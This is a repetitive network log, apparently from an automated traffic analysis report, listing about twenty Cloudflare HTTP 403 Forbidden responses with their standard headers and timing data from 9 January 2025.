Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:51 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:06 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OwD1RAcNJNjel4oOGxwWgOdgRlz18JhLqDG67JTqxXD7VAgu4hJ8iMYU%2BDCKkYOe01OECSK1Ut0j60GP5RWvrZfIe7Z9K6kYJobuAal2RAioLCTHDKY6psD4xnz7Nqpg9W1qE1Ts4TTz4JtO"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b6816edb1780-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1676&min_rtt=1668&rtt_var=642&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1683967&cwnd=171&unsent_bytes=0&cid=168984ea5210180e&ts=144&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:52 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:07 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MxVeBbix7sZToWqrEBqOs7Czsnc5Uj1GjzOhfN4Mi5LO5bN%2BMkJ%2BC1t9UWej1lWoO6kdLH9Y%2FWAxsJaj7hd8g0Wm4qZMLfNE5g4rY6WqmDrQdaBU3EfCuJHvD2JNGpBs6ExX7BUhYBrcttAa"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b685bcf7c345-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1483&min_rtt=1478&rtt_var=564&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1921052&cwnd=178&unsent_bytes=0&cid=33650a483549c943&ts=187&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:52 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:07 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3zQ7plQDoEltK4bcHyzT4uaqs2g1vfIRO7sYJcw08B%2FUVPbSrQhpY4tdrTv%2Fu6xCAVG%2Bk3hsAJLejBHs00GtRoptzFxJcz%2FEuriQcUBYGJrn9tJtb%2BNf5CRDtwK670JMADYpbQNTDGpRT3Ok"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b689bf8ff795-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1600&min_rtt=1595&rtt_var=608&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1783750&cwnd=187&unsent_bytes=0&cid=640e67f14fd0d4dc&ts=144&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:53 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:08 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=c7qiGU%2BLcR3sGSxPFwd69xZo2GUEF%2BSXbX%2BulGttwlpP%2Bb%2BeO6j1CcD1oYS9f2GuSIz%2B%2BNqHfk9SbAYWVgA%2BbRWRfoty99Qk0oQ5VkeKvV%2FFYAbnZyDKaRLi1YGsgxkizpDbn9EalWj4DqFV"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b68d9d5e0f73-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1690&min_rtt=1683&rtt_var=646&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1675272&cwnd=233&unsent_bytes=0&cid=c920cc70b51cd9cb&ts=149&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:53 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:08 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ABadw%2BKkuNUcF5HGnkDdIe6pw2UqoQh7AGfP4kc7xD8eyPXifLZYvMT0U36OPZOmoNbUOJLvk77Yazhxzd011J5iY5jngbQ2lku8FFv2U8hc0mXLPm4kvoo8hzO8kYtuvFDx1%2BppOzYCJoJz"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b6916a0a43a6-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2405&min_rtt=2394&rtt_var=920&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1174577&cwnd=186&unsent_bytes=0&cid=1a90b5f65482ccbd&ts=151&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:54 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:09 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4j%2BU1GW0s8XslzwVFOMs6ADsuP%2BFu5s2z8u0ec8XGzxbK9txxQhKo8nUKmCt3ZPAe9Ss0HVxXpNHCisQ6N7sqMfLka6dSpPcyhURm1qUBz5q4P3u5PPp4pCeiy54gEQNUmIG1OXOmqFJi7TA"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b6952ef641fe-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1851&min_rtt=1763&rtt_var=724&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1656267&cwnd=231&unsent_bytes=0&cid=12286655376be21f&ts=130&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:55 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:10 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=t6%2F%2FQDbaOexDII2sW9JR8E1b7xpWBwgtCr%2FVvGNUaLqglSx8muEAPpVImDRHBtEIDWoBEZFTB6%2FB88DGpTOWm6sphbgV4fPvMVqcRFavLR13Jqj9LvIEpuuylbV%2F6IHcjrpHJtYmqWZs7klp"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b698da9a0fa9-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1481&min_rtt=1470&rtt_var=573&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1871794&cwnd=252&unsent_bytes=0&cid=a69c3352537d1831&ts=130&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:55 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:10 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=V5yyxB3vT937EICuSIcCnBde3va1OAD90Rdl7g08TdqWutGdIXpXvpos%2F%2Bkl%2B20gqPZ5RRqhfO1XIUz7DwZ8pGGlSqKCwwlsE%2B03hqtcG91SGtJO9t2%2BN2EEEjXGA%2BcXb71EAcZEunG7V1uA"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b69ccccf7cf6-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1902&min_rtt=1897&rtt_var=723&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1502057&cwnd=193&unsent_bytes=0&cid=fdaac097af11640c&ts=151&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:56 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:11 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZYQlz4YNksCT5CrLk3118K0zYaCzhWmsC7Jchi2nd0K7hgtnDjoG7pgvtZYG8prOWp37c%2B42rFTNaljghF8K50RzDhLnFXjpxECuazWoTCuQMRaJZEZnDRpjDS3YMeYDDI87%2FmMpQ2QZG77O"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b6a0ac674345-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1594&min_rtt=1587&rtt_var=611&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1769696&cwnd=219&unsent_bytes=0&cid=bc03c804f4433655&ts=141&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:57 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:12 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4rCBetSuE5449GqsL9oZz1fgCY9ym%2B%2Bc%2FCWweQot1zgQfO%2FaHP%2BVGXs0hmf%2FoWFmLKpcnOW8a8DBXNMwThu6K1P6bn7Ngt07ILjbprZjIsK%2BslTir%2BaX6%2BC5%2FEtRC0ExTLJvI5dx%2BO5NsmJF"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b6a478e743b0-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1584&min_rtt=1573&rtt_var=612&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1756919&cwnd=252&unsent_bytes=0&cid=1cfb21f8d97b6faf&ts=136&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:57 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:12 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=67fiYIVhi%2BRlNIqlH1cN3jCqbNQ5jp0cX626HFP2ywQ1xCuICjAgQGYZX5%2FZqk%2B1pnY4vDea%2F4SJphdVf1HOF1%2F6JcoM0woSk49zR7QO4MduQq0pqkgWdUIR9OwKaEp0I3zp4abUCso3dyZf"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b6a84c267cf3-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1939&min_rtt=1926&rtt_var=748&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1437007&cwnd=218&unsent_bytes=0&cid=d4fcaed1a24bf451&ts=125&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:58 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:13 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3Ot412qopREYvbxlD6Ce7u7tIRuZVk8uFoOLxBRgJkW2Ot3WvO9lU7ot8fWK2aPxbdBwLKiTD0emsxLakP4Rb1eiCplcS3EHknNkYBaf0E4lK260GiBlhY8vb5mEwgMQ6MXw1SruVdwrqmVL"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b6ac2e83f78f-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1737&min_rtt=1736&rtt_var=652&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1682027&cwnd=137&unsent_bytes=0&cid=db3a897e742a67f1&ts=149&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:58 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:13 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=62819tyEeQ%2FZ5XUkuHwwr4eSbDudC2lZSQ05V1s4hQ750GSp2nyg1HA8DuAg0RVzC0ImsPmfeAw9l%2BVqpaao0p42Y6XBE23jFsjHkEJxmKIW8xkSFLp5TgoCd9FhEDvOksRxx3Asx5BIQtOT"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b6afee58427c-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1776&min_rtt=1770&rtt_var=676&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1605277&cwnd=246&unsent_bytes=0&cid=b50060f2d0b119f0&ts=145&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:59 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:14 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3PefYtA7%2FUfCG5t58SnoRCXvqU3O0h2TCWc%2FKbU6MGA5ScwaHY5oIw5c6RiZGm24mXkPmo9OsXOSb%2Bb97PIjDi28w5AnE2aKyrXb036bS9KXluuM2F57COkEIR%2Br9%2FRTNcg713IIKxMKsLgZ"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b6b3bdab0fa8-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1529&min_rtt=1517&rtt_var=593&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1808049&cwnd=252&unsent_bytes=0&cid=8dba2bbef8ca6e08&ts=147&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:00 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:15 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XK2BcRbuJjqzMh0PnPor4fTGTugOAXwA1NHTB2z9%2FLs1hlhdFYk4mIAxUV4nUBGxqPW2xQapxuMkW%2BaY7euKouDnuOTmeqOouGsmTxyxR4ceQAxn6TDTY6biD8pckcRVyCKWx519zQuDY9ao"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b6b78f29de96-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1639&min_rtt=1637&rtt_var=618&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1765417&cwnd=224&unsent_bytes=0&cid=da4b2664f70c9410&ts=134&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:00 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:15 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4db1lbNvyBwte1wh4X9iHEmzPWqS7IYDN3pPkEjnGER0nK7NXpVSYE9I%2B0gxbQafwa%2FyQukfc0VvpUNck6kmluH6P3EmfwjKiVipIOStdHYnmiv8lVtqMNTP0b4OxPKrc%2F113Tzjhh2RNKg7"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b6bb59d64270-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1716&min_rtt=1707&rtt_var=658&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1639528&cwnd=225&unsent_bytes=0&cid=19065f38140efc02&ts=149&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:01 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:16 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hu6OE69EqMV%2B0IfDIoTDuDfrsEQgebtVoBtWrD0qfLTEDNu6oN9k4wJI2tfs%2FR32LIdDjLvEHaIeqMipquEPjz5wKAGwt8OJJKPt%2F2dfdIp%2FOaAfUn0nYKB7XkeAvAEFAGdLxZrLQKxALJ8X"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b6bf2f4ec413-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1683&min_rtt=1658&rtt_var=673&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1566523&cwnd=181&unsent_bytes=0&cid=97ac076277d82fb7&ts=139&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:01 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:16 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ffqU%2B32YGtYKilTNk1QkTBDTViY2mYTQ%2FYeML7wklyXXS9YcFMDLruCt%2B%2FyEhYEb9a%2FajZ80e0FHnZucCtpFVeBgdzvh9Hbrg5H6KrlFA7jrzvVdARJdP%2BoL2DIsHfc7HfBJ5UpYzlyK%2FN7K"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b6c30bc772a1-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2022&min_rtt=2014&rtt_var=773&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1400479&cwnd=194&unsent_bytes=0&cid=d7ea9d90a5bcbceb&ts=147&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:02 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:17 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PWR5OD3yewqAFwklnc58pRjPWjL4jzP0ks6mYc8AXelbF5EV7HvUkeLRjDLoAYxDvKZNI5I5mLuI5VPVcXQVuNwK1%2FSJL1seAoBaKcVqFhDJUzn5YAKw%2BcqV%2FRvW%2FP0tiCIk5Qxkti6mWnhQ"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b6c6fa707d1e-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1988&min_rtt=1975&rtt_var=767&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1402497&cwnd=192&unsent_bytes=0&cid=84dfe03f37042fa2&ts=152&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:03 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:18 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZSni8YJYrYiZg0UC8HS6cld%2BvVWgF4rkUMuQQVv8OzUO8ROvFMFsWz%2Fj9QumnquHzmw2VtYabz%2B%2BwMcfwDLgFIg%2Bpqkb2qYomU1iSchsz7jA1pNLGQGWRDBY5d%2FrMV5jCHTMQZXQjom4yaef"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b6cadf947ca2-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1971&min_rtt=1960&rtt_var=758&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1420924&cwnd=239&unsent_bytes=0&cid=33a1c0784efa1fa7&ts=151&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:03 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:18 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vwgJewKcytPVP6VmrbSB4aRMzZjhKYMzxH0TMQScb2593lQWheAJgwifzzEsSnjiRAbBS8aWnwFapIGXLLgtIDpahq1q8DogOUDy9CDcA3dqNMaUJsyNQsnxdRjDnzfz%2Bzjsksy22R5W7G1E"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b6ce98d5728c-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1970&min_rtt=1960&rtt_var=755&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1429970&cwnd=166&unsent_bytes=0&cid=bd9b1a3fa60886c5&ts=130&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:04 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:19 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vWkW%2FBLDy%2Fm6Ee0xPIIY1HBCCny3vIE5ecXuBlTiqFZdRWNXDOhba5wW%2FcUU6t%2BO8fAUXS%2FVtQXdxP%2Fq6n%2BWSo4cfVJdzDBZ1h5bQd%2BuQuaUvBsstAdO0aW3mdNpXNeCOmvsWyQ%2FuBjtcac8"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b6d25a3cde92-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1624&min_rtt=1612&rtt_var=628&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1708601&cwnd=239&unsent_bytes=0&cid=3cd65c8d4bf4b7e4&ts=144&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:04 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:19 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HcbjjXm9ZgOyTomXFqr%2FLONgid9xdFaJmcqZqIxZPNgNPIK0DjMUfM68MRMZBrg7gtgzAlVF76AuVKG6TMEhMFBfCFQwS5rtWXxgbhkoO8Su7o6dktRgYMPKWiigVjKz2aYFJLEs6EvhZmzc"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b6d61d277d05-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1999&min_rtt=1992&rtt_var=762&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1421616&cwnd=195&unsent_bytes=0&cid=64e0eef751b0c0fb&ts=148&x=0"
